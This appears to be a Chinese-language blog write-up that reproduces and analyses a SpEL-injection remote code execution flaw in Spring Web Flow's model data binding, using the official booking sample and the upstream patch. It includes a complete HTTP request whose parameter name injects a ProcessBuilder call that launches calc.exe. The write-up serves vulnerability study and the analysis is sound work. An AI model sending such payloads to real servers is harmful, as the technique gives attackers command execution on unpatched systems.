Spring系列一个冷门框架。session之下request之上的一个框架,定义多个流程,尤其适合需要多个步骤的业务,理论上可以简化开发,实际上很少有人选择。它将XML作为语言,这无疑是落后的
Spring Web Flow在Model的数据绑定上存在漏洞,导致RCE。由于没有明确指定相关Model的具体属性,导致从表单可以提交恶意的表达式从而被执行。漏洞出发条件比较苛刻
下载Spring官方示例:https://github.com/spring-projects/spring-webflow-samples
使用其中的booking-mvc项目,打开后发现是Maven+JPA的项目。启动比较麻烦,先git checkout到2.3.x分支,导入IDEA处理完依赖后,配置Tomcat,通过Tomcat启动war包
(IDEA比较方便,配好Tomcat指定Deployment即可)
访问localhost:8080如下
修改配置文件:src\main\webapp\WEB-INF\config\webflow-config.xml
xxxxxxxxxx
<bean id="mvcViewFactoryCreator" class="org.springframework.webflow.mvc.builder.MvcViewFactoryCreator">
<property name="viewResolvers" ref="tilesViewResolver"/>
<property name="useSpringBeanBinding" value="false" />
</bean>
进入系统后,根据左边提供的用户名密码登录一个。找任意一个酒店下单,在Confirm按钮点击前使用burp抓包(如果burp无法firefox在localhost的包,尝试进入about:config,搜索下面这个配置network.proxy.allow_hijacking_localhost并修改为true)
修改请求,加入payload后发送,成功启动计算器
xxxxxxxxxx
POST /hotels/booking?execution=e2s2 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/hotels/booking?execution=e2s2
Cookie: JSESSIONID=A8E8F1FBCB4E117590C15C6262EA55DD
Upgrade-Insecure-Requests: 1
_eventId_confirm=1&_(new+java.lang.ProcessBuilder("calc.exe")).start()=test
这个漏洞如果从正面角度分析,比较困难,所以先在github找到补丁:https://github.com/spring-projects/spring-webflow/commit/57f2ccb66946943fbf3b3f2165eac1c8eb6b1523
分析后发现替换了addEmptyValueMapping方法的解析器为BeanWrapperExpressionParser
这里通过调用关系我们可以大概的搞明白Spring Web Flow的执行顺序和流程,由 FlowController决定将请求交给那个handler去执行具体的流程。这里我们需要知道当用户请求有视图状态处理时,会决定当前事件下一个执行的流程,同时对于配置文件中我们配置的view-state元素,如果我们指定了数据的 model,那么它会自动进行数据绑定,xml 结构如下(这里以官方的example中的 book 项目为例子)
其中数据绑定部分的代码如下,跟踪后发现其中addModelBindings和addDefaultMappings都间接调用了addEmptyValueMapping方法
xxxxxxxxxx
protected MappingResults bind(Object model) {
if (logger.isDebugEnabled()) {
logger.debug("Binding to model");
}
DefaultMapper mapper = new DefaultMapper();
ParameterMap requestParameters = requestContext.getRequestParameters();
if (binderConfiguration != null) {
addModelBindings(mapper, requestParameters.asMap().keySet(), model);
} else {
addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
}
return mapper.map(requestParameters, model);
}
addEmptyValueMapping方法如下,其中Expression就是SPEL。如果传入的field是恶意代码,经过getValueType就会造成RCE
xxxxxxxxxx
protected void addEmptyValueMapping(DefaultMapper mapper, String field, Object model) {
ParserContext parserContext = new FluentParserContext().evaluate(model.getClass());
Expression target = expressionParser.parseExpression(field, parserContext);
try {
Class propertyType = target.getValueType(model);
Expression source = new StaticExpression(getEmptyValue(propertyType));
DefaultMapping mapping = new DefaultMapping(source, target);
if (logger.isDebugEnabled()) {
logger.debug("Adding empty value mapping for parameter '" + field + "'");
}
mapper.addMapping(mapping);
} catch (EvaluationException e) {
}
}
之前分析有两处调用addEmptyValueMapping,分析传入的field参数
xxxxxxxxxx
protected void addModelBindings(DefaultMapper mapper, Set parameterNames, Object model) {
Iterator it = binderConfiguration.getBindings().iterator();
while (it.hasNext()) {
Binding binding = (Binding) it.next();
String parameterName = binding.getProperty();
if (parameterNames.contains(parameterName)) {
addMapping(mapper, binding, model);
} else {
if (fieldMarkerPrefix != null && parameterNames.contains(fieldMarkerPrefix + parameterName)) {
addEmptyValueMapping(mapper, parameterName, model);
}
}
}
}
protected void addDefaultMappings(DefaultMapper mapper, Set parameterNames, Object model) {
for (Iterator it = parameterNames.iterator(); it.hasNext();) {
String parameterName = (String) it.next();
if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {
String field = parameterName.substring(fieldMarkerPrefix.length());
if (!parameterNames.contains(field)) {
addEmptyValueMapping(mapper, field, model);
}
} else {
addDefaultMapping(mapper, parameterName, model);
}
}
}
首先分析addModelBindings,其中关键是binderConfiguration,断点调试发现这里是xml配置中硬编码的,也就是无法修改的部分。放弃分析这里,前往addDefaultMappings函数
之前要提到bind方法并不是没有意义的,其中这段代码正是核心,只有binderConfiguration为空,也就是xml的binder节点为空的时候,才会调用addDefaultMappings方法
xxxxxxxxxx
if (binderConfiguration != null) {
addModelBindings(mapper, requestParameters.asMap().keySet(), model);
} else {
addDefaultMappings(mapper, requestParameters.asMap().keySet(), model);
}
其中reviewBooking的view-state中不存在binder节点,意味着binderConfiguration为空,成功调用到addDefaultMappings(reviewBooking翻译过来大概是确认预定,也就是上文复现中的Confirm确认按钮,所以可以定位到这里)
xxxxxxxxxx
<view-state id="reviewBooking" model="booking">
<on-render>
<render fragments="body" />
</on-render>
<transition on="confirm" to="bookingConfirmed">
<evaluate expression="bookingService.persistBooking(booking)" />
</transition>
<transition on="revise" to="enterBookingDetails" />
<transition on="cancel" to="cancel" />
</view-state>
在addDefaultMappings这一段,fieldMarkerPrefix是“”,所以我们POST的key以开头,substring后正好是payload(new+java.lang.ProcessBuilder("calc.exe")).start()
,而parameterNames是表单传的value,value中不存在payload,调用addEmptyValueMapping
xxxxxxxxxx
if (fieldMarkerPrefix != null && parameterName.startsWith(fieldMarkerPrefix)) {
String field = parameterName.substring(fieldMarkerPrefix.length());
if (!parameterNames.contains(field)) {
addEmptyValueMapping(mapper, field, model);
}
}
关于一开始为什么要将useSpringBeanBinding设置为false,我们返回addEmptyValueMapping org\springframework\webflow\mvc\builder\MvcViewFactoryCreator.java
xxxxxxxxxx
public ViewFactory createViewFactory(Expression viewId, ExpressionParser expressionParser,
ConversionService conversionService, BinderConfiguration binderConfiguration, Validator validator) {
if (useSpringBeanBinding) {
expressionParser = new BeanWrapperExpressionParser(conversionService);
}
AbstractMvcViewFactory viewFactory = createMvcViewFactory(viewId, expressionParser, conversionService,
binderConfiguration);
if (StringUtils.hasText(eventIdParameterName)) {
viewFactory.setEventIdParameterName(eventIdParameterName);
}
if (StringUtils.hasText(fieldMarkerPrefix)) {
viewFactory.setFieldMarkerPrefix(fieldMarkerPrefix);
}
viewFactory.setValidator(validator);
return viewFactory;
}
如果useSpringBeanBinding为true,使用BeanWrapperExpressionParser,具体的解析方法中会判断allowDelimitedEvalExpressions,这个值不可控并且默认是false,会直接抛出异常
xxxxxxxxxx
if (!allowDelimitedEvalExpressions) {
throw new ParserException(
expressionString,
"The expression '"
+ expressionString
+ "' being parsed is expected be a standard OGNL expression. Do not attempt to enclose such expression strings in ${} delimiters--this is redundant. If you need to parse a template that mixes literal text with evaluatable blocks, set the 'template' parser context attribute to true.",
null);
}
现在看修复方案,应该比较清晰了,直接规定了使用BeanWrapperExpressionParser